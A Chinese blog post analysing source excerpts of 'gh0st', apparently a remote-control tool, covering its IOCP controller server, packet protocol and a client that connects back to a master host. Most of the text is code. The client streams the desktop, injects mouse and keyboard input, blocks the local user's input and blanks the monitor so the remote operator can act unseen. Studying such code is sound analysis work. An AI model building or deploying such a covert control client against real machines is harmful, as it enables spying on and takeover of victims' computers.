gh0st 远程桌面控制源码分析

    技术2026-04-23  2

    远程主机流程图:

     

    客户机流程图:

     

     

    CGh0stApp theApp; 唯一的实例在初始化中调用了主框架的 Activate 函数:BOOL CGh0stApp::InitInstance(){  ((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);}

    Activate 函数构造了一个  CIOCPServer 对象,然后调用 Initialize 函数初始化:void CMainFrame::Activate(UINT nPort, UINT nMaxConnections){  m_iocpServer = new CIOCPServer;  m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)}

    Initialize 注册了一个回调函数 m_pNotifyProc ,创建了一个监听套接字,一个监听线程 ListenThreadProc ,然后初始化 IOCP 服务端bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort){ m_pNotifyProc = pNotifyProc; m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr)); nRet = listen(m_socListen, SOMAXCONN); m_hThread =(HANDLE)_beginthreadex(NULL,0,ListenThreadProc,(void*) this,0,&dwThreadId); InitializeIOCP();}

    IOCP 注册的回调函数 NotifyProc ,收到 NC_CLIENT_DISCONNECT 就从客户列表视图移除,收到 NC_RECEIVE 调用 ProcessReceive 函数,收到 NC_RECEIVE_COMPLETE 调用 ProcessReceiveComplete 函数void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode){  switch (nCode)  {  case NC_CLIENT_CONNECT:   break;  case NC_CLIENT_DISCONNECT:   g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);   break;  case NC_TRANSMIT:   break;  case NC_RECEIVE:   ProcessReceive(pContext);   break;  case NC_RECEIVE_COMPLETE:   ProcessReceiveComplete(pContext);   break;  }}

    void CMainFrame::ProcessReceive(ClientContext *pContext){ if (pContext == NULL)  return; // 如果管理对话框打开,交给相应的对话框处理 CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; // 交给窗口处理 if (pContext->m_Dialog[0] > 0) {  switch (pContext->m_Dialog[0])  {  case SCREENSPY_DLG:   ((CScreenSpyDlg *)dlg)->OnReceive();   break;  default:   break;  }  return; }}

    void CMainFrame::ProcessReceiveComplete(ClientContext *pContext){ if (pContext == NULL)  return;

     // 如果管理对话框打开,交给相应的对话框处理 CDialog *dlg = (CDialog *)pContext->m_Dialog[1];  // 交给窗口处理 if (pContext->m_Dialog[0] > 0) {  switch (pContext->m_Dialog[0])  {  case SCREENSPY_DLG:   ((CScreenSpyDlg *)dlg)->OnReceiveComplete();   break;  default:   break;  }  return; }

     switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_AUTH: // 要求验证  m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);  break; case TOKEN_HEARTBEAT: // 回复心跳包  {   BYTE bToken = COMMAND_REPLAY_HEARTBEAT;   m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));  }

       break; case TOKEN_LOGIN: // 上线包

      {   if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())   {    closesocket(pContext->m_Socket);   }   else   {    pContext->m_bIsMainSocket = true;    g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);   }   // 激活   BYTE bToken = COMMAND_ACTIVED;   m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));  }

      break; case TOKEN_BITMAPINFO: //  // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事  g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);  break;  // 命令停止当前操作 default:  closesocket(pContext->m_Socket);  break; } }

    现在从客户连接列表右键弹出菜单,选择“屏幕控制”选项开始。

     ON_COMMAND(IDM_SCREENSPY, OnScreenspy)

    void CGh0stView::OnScreenspy() { BYTE bToken = COMMAND_SCREEN_SPY; SendSelectCommand(&bToken, sizeof(BYTE));}

    void CGh0stView::SendSelectCommand(PBYTE pData, UINT nSize){ ClientContext* pContext = (ClientContext*)m_pListCtrl->GetItemData(nItem); m_iocpServer->Send(pContext, pData, nSize);}

    void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize){ //使用zlib压缩数据 //构造包头 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen //填充压缩后的数据 OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite); PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);}

    IOCP 的线程函数收到发送过来的消息,将这个消息映射到函数 IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext){ pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize);}

    bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize){ OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite); m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); //表示正在传输,无实际意义 int nRetVal = WSASend(pContext->m_Socket,  //发送命令到客户机 &pContext->m_wsaOutBuffer, 1, &pContext->m_wsaOutBuffer.len, ulFlags, &pOverlap->m_ol,  NULL);}

    客户机收到命令后回复主机已经准备好,ThreadPoolFunc 收到消息做好读操作

    IO_MESSAGE_HANDLER(IORead, OnClientReading)

    bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize){ //验证数据包格式 //zlib解压缩数据 //通知主框架接收完成m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);}

    void CALLBACK CMainFrame::NotifyProc 函数响应操作,调用 ProcessReceiveComplete 函数,case TOKEN_BITMAPINFO: 响应操作g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)gh0stView 收到消息,转到 OnOpenScreenSpyDialog 函数处理

    LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam){  //创建了一个 CScreenSpyDlg 的非模式对话框 CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);}

    服务端不停地收到客户机发过来的数据,IOCP 接收线程产生 NC_RECEIVE 消息,CMainFrame::NotifyProc 处理,调用 ProcessReceive显示帧数和进度  //192.168.1.101 800 * 600 第1532帧 100%

    NC_RECEIVE_COMPLETE 消息调用 ProcessReceiveComplete 函数处理((CScreenSpyDlg *)dlg)->OnReceiveComplete();

    void CScreenSpyDlg::OnReceiveComplete(){ //画图像}

    CScreenSpyDlg 重载 CDialog 的虚函数 PreTranslateMessage(MSG* pMsg) ,处理鼠标键盘事件BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) {

     #define MAKEDWORD(h,l)        (((unsigned long)h << 16) | l)

     CRect rect; GetClientRect(&rect);

     switch (pMsg->message) { case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONUP: case WM_MOUSEMOVE: case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDOWN: case WM_MBUTTONUP: case WM_MOUSEWHEEL:  {   MSG msg;   memcpy(&msg, pMsg, sizeof(MSG));   msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);   msg.pt.x += m_HScrollPos;   msg.pt.y += m_VScrollPos;   SendCommand(&msg);  }  break;   case WM_KEYDOWN:   case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP:   if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)  {   MSG msg;   memcpy(&msg, pMsg, sizeof(MSG));   msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);   msg.pt.x += m_HScrollPos;   msg.pt.y += m_VScrollPos;   SendCommand(&msg);  }  if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)   return true;  break; default:  break; }

     return CDialog::PreTranslateMessage(pMsg);}

    SendCommand 发送控制命令  COMMAND_SCREEN_CONTROL ,带上实际的消息数据到客户机void CScreenSpyDlg::SendCommand(MSG* pMsg){ if (!m_bIsCtrl)  return;

     LPBYTE lpData = new BYTE[sizeof(MSG) + 1]; lpData[0] = COMMAND_SCREEN_CONTROL; memcpy(lpData + 1, pMsg, sizeof(MSG)); m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);

     delete[] lpData;}

     

    -----------------------------------------------------------------------------

     

    客户端主函数:

    创建一个 CClientSocket 对象,一个 CKernelManager 对象,关联 socketClient 到 manager

    int main(int argc, char **argv){ CClientSocket socketClient; socketClient.Connect(lpszHost, dwPort); CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager);}

    class CKernelManager : public CManager { public: virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);}

    OnReceive 函数是个虚函数

    Connect 函数连接到服务器,同时创建了一个工作线程 WorkThread,bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort){ connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);}

    WorkThread 接受数据,调用 OnRead 成员函数处理数据,

    DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) { int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);}

    OnRead 函数核查数据,转交给成员对象 m_pManager 处理,void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ){ m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());}

    class CClientSocket{ private: CManager *m_pManager;}

    m_pManager 是CClientSocket 的一个私有成员函数指针,指向 CManager, socketClient.setManagerCallBack(&manager); 这句代码设置 m_pManager 指向 CKernelManager 的对象,由于 CKernelManager 重新定义了 OnReceive 虚函数,所以 m_pManager->OnReceive 实际上调用了 CKernelManager 的 OnReceive

    void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize){ switch (lpBuffer[0]) { case COMMAND_ACTIVED:  InterlockedExchange((LONG *)&m_bIsActived, true);  break; case COMMAND_SCREEN_SPY: // 屏幕查看   m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,    (LPVOID)m_pClient->m_Socket, 0, NULL, true);  break; case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包  break; }}

    Loop_ScreenManager 创建了一个 CClientSocket 对象,连接到远程主机,然后创建了一个 CScreenManager 对象,关联到 socketClient

    DWORD WINAPI Loop_ScreenManager(SOCKET sRemote){ CClientSocket socketClient; if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))  return -1;  CScreenManager manager(&socketClient);

     socketClient.run_event_loop(); return 0;}

    CScreenManager 构造函数创建了 2 个 工作线程

    CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient){ m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true); m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);}

    WorkThread 这个工作线程做的工作就是首先发送一个 TOKEN_BITMAPINFO 类型的数据包,远程主机收到这个包后,CMainFrame::NotifyProc 函数响应,调用 ProcessReceiveComplete 函数,case TOKEN_BITMAPINFO: 响应操作g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);自定义窗口消息被传到 gh0stView,CGh0stView::OnOpenScreenSpyDialog 函数被调用,此时一个 CScreenSpyDlg 对象被创建。然后做的工作就是不停地发送桌面位图到远程主机,

    DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam){ CScreenManager *pThis = (CScreenManager *)lparam;

     pThis->sendBITMAPINFO(); // 等控制端对话框打开

     pThis->WaitForDialogOpen();

     pThis->sendFirstScreen(); try // 控制端强制关闭时会出错    {  while (pThis->m_bIsWorking)   pThis->sendNextScreen(); }catch(...){};

     return 0;}

    ControlThread 函数的主要目的是让客户机一直让显示器省电,黑屏

    DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam){ if (pThis->m_bIsBlankScreen) {  SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);  SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);  bIsScreenBlanked = true; }}

    下面看客户端和服务器端是怎么进行屏幕控制的

    回到 Loop_ScreenManager 函数,有一句代码 CScreenManager manager(&socketClient);

    class CScreenManager : public CManager

    CScreenManager 首先调用基类的构造函数 CManager(pClient)CManager 和 CClientSocket 是友元类,CManager 构造函数设置成员函数指针 m_pClient指向传进来的 pClient,同时设置 CClientSocket的成员函数指针 m_pManager 指向自己 this

    CManager::CManager(CClientSocket *pClient){ m_pClient = pClient; m_pClient->setManagerCallBack(this);}void CClientSocket::setManagerCallBack( CManager *pManager ){ m_pManager = pManager;}

    CScreenManager 重新定义了 CManager 的虚函数 OnReceive,当 CClientSocket 对象的线程函数收到数据包时候,DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) 会调用pThis->OnRead((LPBYTE)buff, nSize); OnRead 会调用m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

    void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize){ try {   switch (lpBuffer[0])   {  case COMMAND_NEXT:   // 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回   NotifyDialogIsOpen();   break;  case COMMAND_SCREEN_RESET:   ResetScreen(*(LPBYTE)&lpBuffer[1]);   break;  case COMMAND_ALGORITHM_RESET:   m_bAlgorithm = *(LPBYTE)&lpBuffer[1];   m_pScreenSpy->setAlgorithm(m_bAlgorithm);   break;  case COMMAND_SCREEN_CTRL_ALT_DEL:   ::SimulateCtrlAltDel();   break;  case COMMAND_SCREEN_CONTROL:   {    // 远程仍然可以操作    BlockInput(false);    ProcessCommand(lpBuffer + 1, nSize - 1);    BlockInput(m_bIsBlockInput);   }   break;  case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定   m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];   break;  case COMMAND_SCREEN_BLANK:   m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];   break;  case COMMAND_SCREEN_CAPTURE_LAYER:   m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];   m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);   break;  case COMMAND_SCREEN_GET_CLIPBOARD:   SendLocalClipboard();   break;  case COMMAND_SCREEN_SET_CLIPBOARD:   UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);   break;  default:   break;  } }catch(...){}}

    服务端发送的鼠标键盘事件由  ProcessCommand 函数处理,此函数的功能就是切换到当前桌面,模拟鼠标键盘输入SwitchInputDesktop()是自定义函数void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize ){ // 数据包不合法 if (nSize % sizeof(MSG) != 0)  return;

     SwitchInputDesktop();

     // 命令个数 int nCount = nSize / sizeof(MSG);

     // 处理多个命令 for (int i = 0; i < nCount; i++) {  MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));  switch (pMsg->message)  {   case WM_LBUTTONDOWN:   case WM_LBUTTONUP:   case WM_RBUTTONDOWN:   case WM_RBUTTONUP:   case WM_MOUSEMOVE:   case WM_LBUTTONDBLCLK:   case WM_RBUTTONDBLCLK:   case WM_MBUTTONDOWN:   case WM_MBUTTONUP:    {     POINT point;     point.x = LOWORD(pMsg->lParam);     point.y = HIWORD(pMsg->lParam);     SetCursorPos(point.x, point.y);     SetCapture(WindowFromPoint(point));    }    break;   default:    break;  }

      switch(pMsg->message)  {   case WM_LBUTTONDOWN:    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);    break;   case WM_LBUTTONUP:    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);    break;   case WM_RBUTTONDOWN:    mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);    break;   case WM_RBUTTONUP:    mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);    break;    case WM_LBUTTONDBLCLK:    mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);    mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);     break;    case WM_RBUTTONDBLCLK:     mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);    mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);     break;   case WM_MBUTTONDOWN:    mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);     break;   case WM_MBUTTONUP:    mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);    break;   case WM_MOUSEWHEEL:    mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);    break;   case WM_KEYDOWN:   case WM_SYSKEYDOWN:    keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);    break;    case WM_KEYUP:   case WM_SYSKEYUP:    keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);    break;   default:    break;  } }}

    最新回复(0)